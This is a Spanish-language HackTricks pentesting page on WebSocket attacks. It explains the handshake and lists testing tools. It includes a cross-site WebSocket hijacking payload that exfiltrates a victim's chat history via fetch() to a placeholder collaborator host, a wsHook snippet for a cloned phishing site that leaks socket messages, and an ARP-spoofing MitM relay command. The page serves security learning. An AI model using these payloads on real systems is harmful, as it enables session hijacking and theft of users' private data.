hacktricks/pentesting-web/websocket-attacks.md

182 lines
13 KiB
Markdown

# Ataques a WebSockets
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén el [**oficial PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
</details>
## ¿Qué son los WebSockets?
Las conexiones de WebSocket se establecen a través de un apretón de manos **HTTP** inicial y están diseñadas para ser **de larga duración**, permitiendo el intercambio bidireccional de mensajes en cualquier momento sin necesidad de un sistema transaccional. Esto hace que los WebSockets sean particularmente ventajosos para aplicaciones que requieren **baja latencia o comunicación iniciada por el servidor**, como flujos de datos financieros en vivo.
### Establecimiento de Conexiones de WebSocket
Una explicación detallada sobre el establecimiento de conexiones de WebSocket se puede acceder [**aquí**](https://infosecwriteups.com/cross-site-websocket-hijacking-cswsh-ce2a6b0747fc). En resumen, las conexiones de WebSocket suelen iniciarse a través de JavaScript en el lado del cliente, como se muestra a continuación:
```javascript
var ws = new WebSocket("wss://normal-website.com/ws");
```
El protocolo `wss` indica una conexión WebSocket segura con **TLS**, mientras que `ws` indica una conexión **no segura**.
Durante el establecimiento de la conexión, se realiza un handshake entre el navegador y el servidor a través de HTTP. El proceso de handshake implica que el navegador envíe una solicitud y el servidor responda, como se ilustra en los siguientes ejemplos:
El navegador envía una solicitud de handshake:
```javascript
GET /chat HTTP/1.1
Host: normal-website.com
Sec-WebSocket-Version: 13
Sec-WebSocket-Key: wDqumtseNBJdhkihL6PW7w==
Connection: keep-alive, Upgrade
Cookie: session=KOsEJNuflw4Rd9BDNrVmvwBF9rEijeE2
Upgrade: websocket
```
Respuesta de saludo del servidor:
```javascript
HTTP/1.1 101 Switching Protocols
Connection: Upgrade
Upgrade: websocket
Sec-WebSocket-Accept: 0FFP+2nmNIf/h+4BP36k9uzrYGk=
```
La conexión permanece abierta para el intercambio de mensajes en ambas direcciones una vez establecida.
**Puntos clave del Handshake de WebSocket:**
- Los encabezados `Connection` y `Upgrade` señalan el inicio de un Handshake de WebSocket.
- El encabezado `Sec-WebSocket-Version` indica la versión deseada del protocolo WebSocket, generalmente `13`.
- Se envía un valor aleatorio codificado en Base64 en el encabezado `Sec-WebSocket-Key`, asegurando que cada Handshake sea único, lo que ayuda a prevenir problemas con proxies de caché. Este valor no es para autenticación, sino para confirmar que la respuesta no es generada por un servidor o caché mal configurados.
- El encabezado `Sec-WebSocket-Accept` en la respuesta del servidor es un hash del `Sec-WebSocket-Key`, verificando la intención del servidor de abrir una conexión WebSocket.
Estas características aseguran que el proceso de Handshake sea seguro y confiable, allanando el camino para una comunicación en tiempo real eficiente.
### Consola de Linux
Puedes usar `websocat` para establecer una conexión cruda con un websocket.
```bash
websocat --insecure wss://10.10.10.10:8000 -v
```
O para crear un servidor de websocat:
```bash
websocat -s 0.0.0.0:8000 #Listen in port 8000
```
### Conexiones websocket MitM
Si descubres que los clientes están conectados a un **websocket HTTP** desde tu red local actual, podrías intentar un [Ataque de Suplantación de ARP](../generic-methodologies-and-resources/pentesting-network/#arp-spoofing) para realizar un ataque MitM entre el cliente y el servidor.\
Una vez que el cliente esté intentando conectarse a ti, puedes usar:
```bash
websocat -E --insecure --text ws-listen:0.0.0.0:8000 wss://10.10.10.10:8000 -v
```
### Enumeración de Websockets
Puedes utilizar la **herramienta** [**https://github.com/PalindromeLabs/STEWS**](https://github.com/PalindromeLabs/STEWS) **para descubrir, identificar y buscar automáticamente** **vulnerabilidades** conocidas en websockets.
### Herramientas de depuración de Websockets
* **Burp Suite** admite la comunicación MitM de websockets de una manera muy similar a como lo hace para la comunicación HTTP regular.
* La extensión de **Burp Suite** [**socketsleuth**](https://github.com/snyk/socketsleuth) te permitirá gestionar de manera más efectiva las comunicaciones de Websocket en Burp al obtener el **historial**, establecer **reglas de intercepción**, utilizar reglas de **coincidencia y reemplazo**, usar **Intruder** y **AutoRepeater**.
* [**WSSiP**](https://github.com/nccgroup/wssip)**:** Abreviatura de "**WebSocket/Socket.io Proxy**", esta herramienta, escrita en Node.js, proporciona una interfaz de usuario para **capturar, interceptar, enviar mensajes personalizados** y ver todas las comunicaciones de WebSocket y Socket.IO entre el cliente y el servidor.
* [**wsrepl**](https://github.com/doyensec/wsrepl) es un **REPL interactivo de websocket** diseñado específicamente para pruebas de penetración. Proporciona una interfaz para observar **mensajes de websocket entrantes y enviar nuevos**, con un marco fácil de usar para **automatizar** esta comunicación.&#x20;
* [**https://websocketking.com/**](https://websocketking.com/) es una **web para comunicarse** con otras webs utilizando **websockets**.
* [**https://hoppscotch.io/realtime/websocket**](https://hoppscotch.io/realtime/websocket) entre otros tipos de comunicaciones/protocolos, proporciona una **web para comunicarse** con otras webs utilizando **websockets**.
## Laboratorio de Websocket
En [**Burp-Suite-Extender-Montoya-Course**](https://github.com/federicodotta/Burp-Suite-Extender-Montoya-Course) tienes un código para lanzar una web utilizando websockets y en [**este post**](https://security.humanativaspa.it/extending-burp-suite-for-fun-and-profit-the-montoya-way-part-3/) puedes encontrar una explicación.
## Secuestro de Websocket entre sitios (CSWSH)
El **secuestro de Websocket entre sitios**, también conocido como **secuestro de Websocket entre orígenes cruzados**, se identifica como un caso específico de **[Falsificación de petición en sitios cruzados (CSRF)](csrf-cross-site-request-forgery.md)** que afecta a los handshakes de Websocket. Esta vulnerabilidad surge cuando los handshakes de Websocket se autentican únicamente a través de **cookies HTTP** sin **tokens CSRF** u otras medidas de seguridad similares.
Los atacantes pueden explotar esto al alojar una **página web maliciosa** que inicia una conexión de Websocket entre sitios a una aplicación vulnerable. En consecuencia, esta conexión se trata como parte de la sesión del usuario con la aplicación, explotando la falta de protección CSRF en el mecanismo de manejo de sesiones.
### Ataque Simple
Ten en cuenta que al **establecer** una conexión **websocket**, la **cookie** se **envía** al servidor. El **servidor** puede estar utilizándola para **relacionar** a cada **usuario específico** con su **sesión de websocket basada en la cookie enviada**.
Entonces, si por **ejemplo** el **servidor websocket** **devuelve el historial de la conversación** de un usuario si se envía un mensaje con "**READY"**, entonces un **simple XSS** al establecer la conexión (la **cookie** se **enviará automáticamente** para autorizar al usuario víctima) **enviando** "**READY**" podrá **recuperar** el historial de la **conversación**.
```markup
<script>
websocket = new WebSocket('wss://your-websocket-URL')
websocket.onopen = start
websocket.onmessage = handleReply
function start(event) {
websocket.send("READY"); //Send the message to retreive confidential information
}
function handleReply(event) {
//Exfiltrate the confidential information to attackers server
fetch('https://your-collaborator-domain/?'+event.data, {mode: 'no-cors'})
}
</script>
```
### Cross Origin + Cookie with a different subdomain
En esta publicación de blog [https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/](https://snyk.io/blog/gitpod-remote-code-execution-vulnerability-websockets/) el atacante logró **ejecutar JavaScript arbitrario en un subdominio** del dominio donde se estaba produciendo la comunicación del socket web. Debido a que era un **subdominio**, la **cookie** se estaba **enviando**, y debido a que el **Websocket no verificaba el Origen correctamente**, era posible comunicarse con él y **robar tokens de él**.
### Robando datos del usuario
Copia la aplicación web que deseas suplantar (los archivos .html, por ejemplo) y dentro del script donde se produce la comunicación del websocket, agrega este código:
```javascript
//This is the script tag to load the websocket hooker
<script src='wsHook.js'></script>
//These are the functions that are gonig to be executed before a message
//is sent by the client or received from the server
//These code must be between some <script> tags or inside a .js file
wsHook.before = function(data, url) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "client_msg?m="+data, true);
xhttp.send();
}
wsHook.after = function(messageEvent, url, wsObject) {
var xhttp = new XMLHttpRequest();
xhttp.open("GET", "server_msg?m="+messageEvent.data, true);
xhttp.send();
return messageEvent;
}
```
Ahora descarga el archivo `wsHook.js` desde [https://github.com/skepticfx/wshook](https://github.com/skepticfx/wshook) y **guárdalo dentro de la carpeta con los archivos web**.\
Exponiendo la aplicación web y haciendo que un usuario se conecte a ella, podrás robar los mensajes enviados y recibidos a través del websocket:
```javascript
sudo python3 -m http.server 80
```
## Condiciones de Carrera
Las Condiciones de Carrera en WebSockets también son una cosa, [consulta esta información para aprender más](race-condition.md#rc-in-websockets).
## Otras vulnerabilidades
Dado que los WebSockets son un mecanismo para **enviar datos al lado del servidor y al lado del cliente**, dependiendo de cómo el servidor y el cliente manejen la información, **los WebSockets pueden ser utilizados para explotar varias vulnerabilidades como XSS, SQLi u cualquier otra vulnerabilidad web común utilizando la entrada de un usuario desde un websocket**.
## **WebSocket Smuggling**
Esta vulnerabilidad podría permitirte **burlar las restricciones de los proxies inversos** haciéndoles creer que se **estableció una comunicación websocket** (aunque no sea cierto). Esto podría permitir a un atacante **acceder a puntos finales ocultos**. Para obtener más información, consulta la siguiente página:
{% content-ref url="h2c-smuggling.md" %}
[h2c-smuggling.md](h2c-smuggling.md)
{% endcontent-ref %}
## Referencias
* [https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages](https://portswigger.net/web-security/websockets#intercepting-and-modifying-websocket-messages)
<details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Otras formas de apoyar a HackTricks:
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF**, consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>